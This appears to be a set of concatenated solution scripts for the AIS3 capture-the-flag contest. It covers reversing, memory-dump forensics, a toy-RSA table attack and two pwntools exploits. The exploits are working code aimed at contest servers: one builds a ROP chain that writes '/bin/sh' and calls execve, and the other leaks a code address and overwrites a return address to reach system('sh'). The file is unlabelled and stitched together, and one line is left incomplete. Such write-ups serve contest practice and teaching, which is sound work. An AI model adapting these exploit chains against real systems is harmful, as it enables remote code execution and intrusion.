image = Image.new("L", (1, 1), 0)
image.putdata([0])
image.save('img.png')

from ebooklib import epub

book = epub.EpubBook()

book.set_title("test")
book.set_language("en")
book.add_author("unicorn")

epub.write_epub("test.epub", book, {})

def complex_function(a1, a2):
    v8 = (17 * a2 + a1 - 65) % 26
    v7 = a2 % 3 + 3
    if a2 % 3 == 2:
        v8 = (v8 - v7 + 26) % 26
    elif a2 % 3 == 1:
        v8 = (2 * v7 + v8) % 26
    else:
        v8 = (v7 * v8 + 7) % 26
    return chr(v8 + 65)

s = ["DHLIYJEG", "MZRERYND", "RUYODBAH", "BKEMPBRE"]
xored = ["", "", "", ""]
for i in range(8):
    for j in range(4):
        for k in range(26):
            if s[j][i] == complex_function(k + ord('A'), i + 32 * j):
                xored[j] += chr(k + ord('A'))

print(xored)

xor = [[0xe, 0xd, 0x7d, 0x6, 0xf, 0x17, 0x76, 0x4],
       [0x6d, 0x0, 0x1b, 0x7c, 0x6c, 0x13, 0x62, 0x11],
       [0x1e, 0x7e, 0x6, 0x13, 0x7, 0x66, 0xe, 0x71],
       [0x17, 0x14, 0x1d, 0x70, 0x79, 0x67 ,0x74 ,0x33]]

flag = ["", "", "", ""]
for i in range(4):
    for j in range(8):
        flag[i] += chr(ord(xored[i][j]) ^ xor[i][j])

print("AIS3{G0D" + "".join(flag))

flag = "AIS3{******************************************}"
test_char = '3'

for i in range(48):
    if flag[i] == '*':
        flag = flag[:i] + test_char + flag[i+1:]

print(flag)

import numpy as np
from PIL import Image, ImageDraw

with open('./MEM_000000756D179890_00003F90.mem', 'rb') as f:
    data = f.read()

img = np.zeros((400, 400))
flag = Image.fromarray(img, mode = 'L')
draw = ImageDraw.Draw(flag)
path = []

for i in range(0, len(data), 8):
    x = int.from_bytes(data[i : i + 4], 'little')
    y = int.from_bytes(data[i + 4: i + 8], 'little')
    path.append((x, y))

draw.point(path, fill = 255)

flag.save("flag.jpg")

from babyRSA import encrypt

# input output.txt here
e, n, c = 

table = []

for m in range(1, 256):
    table.append(encrypt((e, n), chr(m))[0])

flag = ""
for crypt in c:
    flag += chr(table.index(crypt) + 1)
print(flag)

from pwn import *

p = remote("chals1.ais3.org", 50001)

# use ROPgadget to find gadgets
pop_rdi = 0x0000000000402540 # pop rdi ; ret
pop_rsi = 0x00000000004126a3 # pop rsi ; ret
pop_rax_rdx_rbx = 0x000000000047b916 # pop rax ; pop rdx ; pop rbx ; ret
mov = 0x0000000000419700 # mov qword ptr [rdx], rax ; ret
syscall = 0x00000000004013ea # syscall
# an empty address for writing "/bin/sh" string
bin_sh = 0x00000000004bc000

# go to goodbye function
p.sendline(b'q')

# build rop chain payload
payload = b"".join([
    # pad to rbp
    b'y',
    b'A' * 11,

    # write "/bin/sh"
    p64(pop_rax_rdx_rbx),
    b'/bin/sh\x00',
    p64(bin_sh),
    p64(0x0),
    p64(mov),

    # set rax to 0x3b for sys_execve syscall
    # set rdx to 0x00 for no envp[]
    p64(pop_rax_rdx_rbx),
    p64(0x3b),
    p64(0x0),
    p64(0x0),

    # set rdi to address of "/bin/sh" string for filename to execute
    p64(pop_rdi),
    p64(bin_sh),

    # set rsi to 0x00 for no argv[]
    p64(pop_rsi),
    p64(0x0),

    # trigger syscall
    p64(syscall)
])

# send rop chain payload
p.sendline(payload)

# for interactive shell
p.interactive()

from pwn import *

# a.out is the binaray with comment uncommented
p = process("./a.out")

# find the input for getting negetive index
for i in range(1, 256):
    if i == 10:
        continue
    p.recvuntil(b"Text:")
    p.sendline(b'\xff\xff' + chr(i).encode())
    print(i, p.recvline())

from pwn import *

# p = process("./base64encoder")
# gdb.attach(p)
p = remote("chals1.ais3.org", 50002)

# the value of index -1 to -8 of table is the address of main+299
# 63 b' Result: -1 -17 -4 -1\n'
# 62 b' Result: -1 -17 -4 -2\n'
# 61 b' Result: -1 -17 -4 -3\n'
# 60 b' Result: -1 -17 -4 -4\n'
# 59 b' Result: -1 -17 -4 -5\n'
# 58 b' Result: -1 -17 -4 -6\n'
# 57 b' Result: -1 -17 -4 -7\n'
# 56 b' Result: -1 -17 -4 -8\n'

main_299 = 0

# leak main+299 address
for i in [63, 62, 61, 60, 59, 58, 57, 56]:
    p.recvuntil(b"Text:")
    p.sendline(b'\xff\xff' + chr(i).encode())
    main_299 <<= 8
    main_299 |= p.recvline()[-2]

log.success(hex(main_299))
# calculate address of Vincent55Orz base on main+299
log.success(hex(main_299 - 0x3cf))
# jump to Vincent55Orz for unknow reason doesn't work,
# so jump to system("sh") directly instead (+23 offset)
p.sendline(b"A" * 0x40 + p64(1) + p64(main_299 - 0x3cf + 23))
p.recvuntil(b"Text:")
# send emptyline to trigger ret for main
p.sendline()

# interactive shell
p.interactive()